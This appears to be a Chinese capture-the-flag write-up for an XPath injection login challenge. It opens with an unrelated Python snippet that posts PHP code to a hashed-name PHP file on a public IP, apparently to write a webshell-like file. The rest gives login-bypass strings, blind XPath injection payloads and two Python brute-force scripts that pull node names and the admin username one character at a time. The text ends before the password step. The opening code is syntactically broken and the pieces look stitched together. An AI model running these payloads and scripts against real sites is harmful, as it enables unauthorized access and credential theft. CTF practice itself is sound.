import requests
url = "http://121.196.32.184:12001"
url1 = url+"/3b8cf4731c36d20776c76e20f9c774c7.php"
data = {
"data" : "print_r(scandir(getcwd()));",
"file" : "/very_g00d_Y0u_got_it.php"
requests.post(url1 , data=data)
url2 = url+"/very_g00d_Y0u_got_it.php"
response = requests.get(url2).content.decode('utf-8')
print(response)
http://114.55.165.246:8082/
题目提示为注入，进入界面为登陆框，第一时间想到SQL注入
输admin登陆一下
是GET传参，sqlmap跑一下没有结果，万能密码1'or 1=1试一下成功
怀疑是XXE，尝试了一会发现不是。
后来想到XPath注入(傻了，报错里有…)
XPath基础查询语句//users/user[loginID/text()=’abc’ and password/text()=’test123’]
这是一个XPath查询语句，获取loginID为abc的所有user数据，用户需要提交正确的loginID和password才能返回结果。如果黑客在 loginID 字段中输入：’ or 1=1 并在 password 中输入：’ or 1=1 就能绕过校验，成功获取所有user数据
//users/user[LoginID/text()=''or 1=1 and password/text()=''or 1=1]
具体不做阐述
尝试XPath盲注
一般步骤如下:
1.判断根下节点数:
127.0.0.1/xpath/index.php?name=1' or count(/*)=1 or '1'='1&pwd=fake
result: 1
2.猜解第一级节点:
127.0.0.1/xpath/index.php?name=1' or substring(name(/*[position()=1]),1,1)='r' or '1'='1&pwd=fake
127.0.0.1/xpath/index.php?name=1' or substring(name(/*[position()=1]),2,1)='o' or '1'='1&pwd=fake
result: root
3.判断root的下一级节点数:
127.0.0.1/xpath/index.php?name=1' or count(/root/*)=2 or '1'='1&pwd=fake
result: 2
4.猜解root的下一级节点:
127.0.0.1/xpath/index.php?name=1' or substring(name(/root/*[position()=1]),1,1)='u' or '1'='1&pwd=fake
127.0.0.1/xpath/index.php?name=1' or substring(name(/root/*[position()=2]),1,1)='s' or '1'='1&pwd=fake
result: users,secret
重复上述步骤,直到猜解出所有节点.最后来猜解节点中的数据或属性值.
猜解id为1的user节点下的username值,
127.0.0.1/xpath/index.php?name=1' or substring(/root/users/user[id=1]/username,1,1)='a' or '1'='1&pwd=fake
result: admin
写脚本开始跑
首先判断根下节点数
因为是GET传参，直接访问http://114.55.165.246:8082/?username=1' or count(/*)=1 or '1'='1&password=1&submit=登录
这个结果应该是return 1，即根下有一个节点
如果换成...username=1' or count(/*)=2 or '1'='1...则会返回登录失败，即结果为return 0.
继续猜测第一级节点，用脚本跑
import requests
import re
baseurl = "http://114.55.165.246:8082/?username="
s = "qwertyuiopasdfghjklzxcvbnm1234567890"
result = []
for j in range(1,10):
flag = 0
for i in range(0, 36):
payload = "1' or substring(name(/!XXXX!*[position()=1]),"
payload += str(j)
payload += ",1)='"
payload += s[i]
payload += "' or '1'='1"
end = "&password=admin&submit=登录"
url = baseurl + payload + end
res = requests.get(url).content.decode("utf-8").split("</html>")[1]
if (re.search("you",res)):
result.append(s[i])
flag=1
print(s[i] + "--------->" + res.replace("\r\n" , ""))
break
if flag == 0:
break
print(result)
结果爆出第一级为root
同理，修改第13行为"1' or substring(name(/root/*[position()=1]),"
继续爆
baseurl = "http://114.55.165.246:8082/?username="
s = "qwertyuiopasdfghjklzxcvbnm1234567890"
result = []
for j in range(1,100):
flag=0
for i in range(0, 36):
payload = "1' or substring(/root/users/user[id=1]/username,"
payload += str(j)
payload += ",1)='"
payload += s[i]
payload += "' or '1'='1"
end = "&password=admin&submit=登录"
url = baseurl + payload + end
res = requests.get(url).content.decode("utf-8").split("</html>")[1]
if (re.search("you",res)):
result.append(s[i])
flag = 1
print("第"+str(j)+"位----------->"+s[i])
break
if flag==0:
break
print(result)
爆username
果然是admin
继续爆password
